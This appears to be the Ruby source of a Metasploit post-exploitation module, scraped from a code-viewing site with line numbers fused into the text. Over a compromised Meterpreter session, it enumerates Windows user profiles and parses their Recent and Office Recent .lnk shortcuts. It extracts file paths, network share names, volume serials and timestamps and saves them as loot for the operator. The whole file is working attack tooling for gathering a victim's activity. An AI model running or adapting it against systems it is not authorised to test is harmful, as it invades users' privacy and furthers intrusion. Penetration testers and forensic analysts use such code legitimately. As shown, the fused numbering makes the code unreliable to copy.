Path: blob/master/modules/post/windows/gather/dumplinks.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Windows::Accounts89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Dump Recent Files lnk Info',14'Description' => %q{15The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.16This module will parse .lnk files from a user's Recent Documents folder17and Microsoft Office's Recent Documents folder, if present.18Windows creates these link files automatically for many common file types.19The .lnk files contain time stamps, file locations, including share20names, volume serial numbers, and more.21},22'License' => MSF_LICENSE,23'Author' => [ 'davehull <dph_msf[at]trustedsignal.com>'],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [],29'Reliability' => []30},31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34core_channel_eof35core_channel_open36core_channel_read37core_channel_write38stdapi_fs_ls39stdapi_sys_config_getenv40stdapi_sys_config_getuid41]42}43}44)45)46end4748def run49hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']50print_status("Running module against #{hostname} (#{session.session_host})")5152enum_users.each do |user|53if user['userpath']54print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."55extract_lnk_info(user['userpath'])56else57print_status "No Recent directory found for user #{user['username']}. Nothing to do."58end59if user['useroffcpath']60print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."61extract_lnk_info(user['useroffcpath'])62else63print_status "No Recent Office files found for user #{user['username']}. Nothing to do."64end65end66end6768def enum_users69users = []70userinfo = {}71session.sys.config.getuid72userpath = nil73env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')74sysdrv = env_vars['SystemDrive']75version = get_version_info76if version.build_number >= Msf::WindowsVersion::Vista_SP077userpath = sysdrv + '\\Users\\'78lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\'79officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\'80else81userpath = sysdrv + '\\Documents and Settings\\'82lnkpath = '\\Recent\\'83officelnkpath = '\\Application Data\\Microsoft\\Office\\Recent\\'84end85if is_system?86print_status('Running as SYSTEM extracting user list...')87session.fs.dir.foreach(userpath) do |u|88next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/8990userinfo['username'] = u91userinfo['userpath'] = userpath + u + lnkpath92userinfo['useroffcpath'] = userpath + u + officelnkpath93userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])94userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])95users << userinfo96userinfo = {}97end98else99uservar = env_vars['USERNAME']100userinfo['username'] = uservar101userinfo['userpath'] = userpath + uservar + lnkpath102userinfo['useroffcpath'] = userpath + uservar + officelnkpath103userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])104userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])105users << userinfo106end107return users108end109110# This is a hack because Meterpreter doesn't support exists?(file)111def dir_entry_exists(path)112session.fs.dir.entries(path)113rescue StandardError114return nil115else116return path117end118119def extract_lnk_info(path)120session.fs.dir.foreach(path) do |file_name|121if file_name =~ /\.lnk$/ # We have a .lnk file122offset = 0 # TODO: Look at moving this to smaller scope123lnk_file = session.fs.file.new(path + file_name, 'rb')124record = lnk_file.sysread(0x04)125if record.unpack('V')[0] == 76 # We have a .lnk file signature126file_stat = session.fs.filestat.new(path + file_name)127print_status "Processing: #{path + file_name}."128@data_out = ''129130record = lnk_file.sysread(0x48)131hdr = get_headers(record)132133@data_out += get_lnk_file_mac(file_stat, path, file_name)134@data_out += "Contents of #{path + file_name}:\n"135@data_out += get_flags(hdr)136@data_out += get_attrs(hdr)137@data_out += get_lnk_mac(hdr)138@data_out += get_showwnd(hdr)139@data_out += get_lnk_mac(hdr)140141# advance the file & offset142offset += 0x4c143144if shell_item_id_list(hdr)145lnk_file.sysseek(offset, ::IO::SEEK_SET)146record = lnk_file.sysread(2)147offset += record.unpack('v')[0] + 2148end149# Get File Location Info150if (hdr['flags'] & 0x02) > 0151lnk_file.sysseek(offset, ::IO::SEEK_SET)152record = lnk_file.sysread(4)153tmp = record.unpack('V')[0]154if tmp > 0155lnk_file.sysseek(offset, ::IO::SEEK_SET)156record = lnk_file.sysread(0x1c)157loc = get_file_location(record)158if (loc['flags'] & 0x01) > 0159160@data_out += "\tShortcut file is on a local volume.\n"161162lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)163record = lnk_file.sysread(0x10)164lvt = get_local_vol_tbl(record)165lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)166167@data_out += "\t\tVolume Name = #{lvt['name']}\n" \168"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +169"\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n"170end171172if (loc['flags'] & 0x02) > 0173174@data_out += "\tFile is on a network share.\n"175176lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)177record = lnk_file.sysread(0x14)178nvt = get_net_vol_tbl(record)179nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)180181@data_out += "\tNetwork Share name = #{nvt['name']}\n"182end183184if loc['base_ofs'] > 0185@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)186elsif loc['path_ofs'] > 0187@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)188end189end190end191end192lnk_file.close193store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')194end195end196end197198# Not only is this code slow, it seems199# buggy. I'm studying the recently released200# MS Specs for a better way.201def get_target_path(path_ofs, lnk_file)202name = []203lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)204record = lnk_file.sysread(2)205while (record.unpack('v')[0] != 0)206name.push(record)207record = lnk_file.sysread(2)208end209return "\tTarget path = #{name.join}\n"210end211212def shell_item_id_list(hdr)213# Check for Shell Item ID List214if (hdr['flags'] & 0x01) > 0215return true216else217return nil218end219end220221def get_lnk_file_mac(file_stat, path, file_name)222data_out = "#{path + file_name}:\n"223data_out += "\tAccess Time = #{file_stat.atime}\n"224data_out += "\tCreation Date = #{file_stat.ctime}\n"225data_out += "\tModification Time = #{file_stat.mtime}\n"226return data_out227end228229def get_vol_type(type)230vol_type = {2310 => 'Unknown',2321 => 'No root directory',2332 => 'Removable',2343 => 'Fixed',2354 => 'Remote',2365 => 'CD-ROM',2376 => 'RAM Drive'238}239return vol_type[type]240end241242def get_showwnd(hdr)243showwnd = {2440 => 'SW_HIDE',2451 => 'SW_NORMAL',2462 => 'SW_SHOWMINIMIZED',2473 => 'SW_SHOWMAXIMIZED',2484 => 'SW_SHOWNOACTIVE',2495 => 'SW_SHOW',2506 => 'SW_MINIMIZE',2517 => 'SW_SHOWMINNOACTIVE',2528 => 'SW_SHOWNA',2539 => 'SW_RESTORE',25410 => 'SHOWDEFAULT'255}256data_out = "\tShowWnd value(s):\n"257showwnd.each_key do |key|258if (hdr['showwnd'] & key) > 0259data_out += "\t\t#{showwnd[key]}.\n"260end261end262return data_out263end264265def get_lnk_mac(hdr)266data_out = "\tTarget file's MAC Times stored in lnk file:\n"267data_out += "\t\tCreation Time = #{Time.at(hdr['ctime'])}. (UTC)\n"268data_out += "\t\tModification Time = #{Time.at(hdr['mtime'])}. (UTC)\n"269data_out += "\t\tAccess Time = #{Time.at(hdr['atime'])}. (UTC)\n"270return data_out271end272273def get_attrs(hdr)274fileattr = {2750x01 => 'Target is read only',2760x02 => 'Target is hidden',2770x04 => 'Target is a system file',2780x08 => 'Target is a volume label',2790x10 => 'Target is a directory',2800x20 => 'Target was modified since last backup',2810x40 => 'Target is encrypted',2820x80 => 'Target is normal',2830x100 => 'Target is temporary',2840x200 => 'Target is a sparse file',2850x400 => 'Target has a reparse point',2860x800 => 'Target is compressed',2870x1000 => 'Target is offline'288}289data_out = "\tAttributes:\n"290fileattr.each_key do |key|291if (hdr['attr'] & key) > 0292data_out += "\t\t#{fileattr[key]}.\n"293end294end295return data_out296end297298# Function for writing results of other functions to a file299def filewrt(file2wrt, data2wrt)300output = ::File.open(file2wrt, 'ab')301if data2wrt302data2wrt.each_line do |d|303output.puts(d)304end305end306output.close307end308309def get_flags(hdr)310flags = {3110x01 => 'Shell Item ID List exists',3120x02 => 'Shortcut points to a file or directory',3130x04 => 'The shortcut has a descriptive string',3140x08 => 'The shortcut has a relative path string',3150x10 => 'The shortcut has working directory',3160x20 => 'The shortcut has command line arguments',3170x40 => 'The shortcut has a custom icon'318}319data_out = "\tFlags:\n"320flags.each_key do |key|321if (hdr['flags'] & key) > 0322data_out += "\t\t#{flags[key]}.\n"323end324end325return data_out326end327328def get_headers(record)329hd = record.unpack('x16V12x8')330hdr = Hash.new331hdr['flags'] = hd[0]332hdr['attr'] = hd[1]333hdr['ctime'] = get_time(hd[2], hd[3])334hdr['mtime'] = get_time(hd[4], hd[5])335hdr['atime'] = get_time(hd[6], hd[7])336hdr['length'] = hd[8]337hdr['icon_num'] = hd[9]338hdr['showwnd'] = hd[10]339hdr['hotkey'] = hd[11]340return hdr341end342343def get_net_vol_tbl(file_net_rec)344nv = Hash.new345(nv['len'], nv['ofs']) = file_net_rec.unpack('Vx4Vx8')346return nv347end348349def get_local_vol_tbl(lvt_rec)350lv = Hash.new351(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')352return lv353end354355def get_file_location(file_loc_rec)356location = Hash.new357(location['len'], location['ptr'], location['flags'],358location['vol_ofs'], location['base_ofs'], location['network_ofs'],359location['path_ofs']) = file_loc_rec.unpack('V7')360return location361end362363def get_time(lo_byte, hi_byte)364if lo_byte == 0 && hi_byte == 0365return 0366else367lo_byte -= 0xd53e8000368hi_byte -= 0x019db1de369time = (hi_byte * 429.4967296 + lo_byte / 1e7).to_i370if time < 0371return 0372end373end374375return time376end377end378379380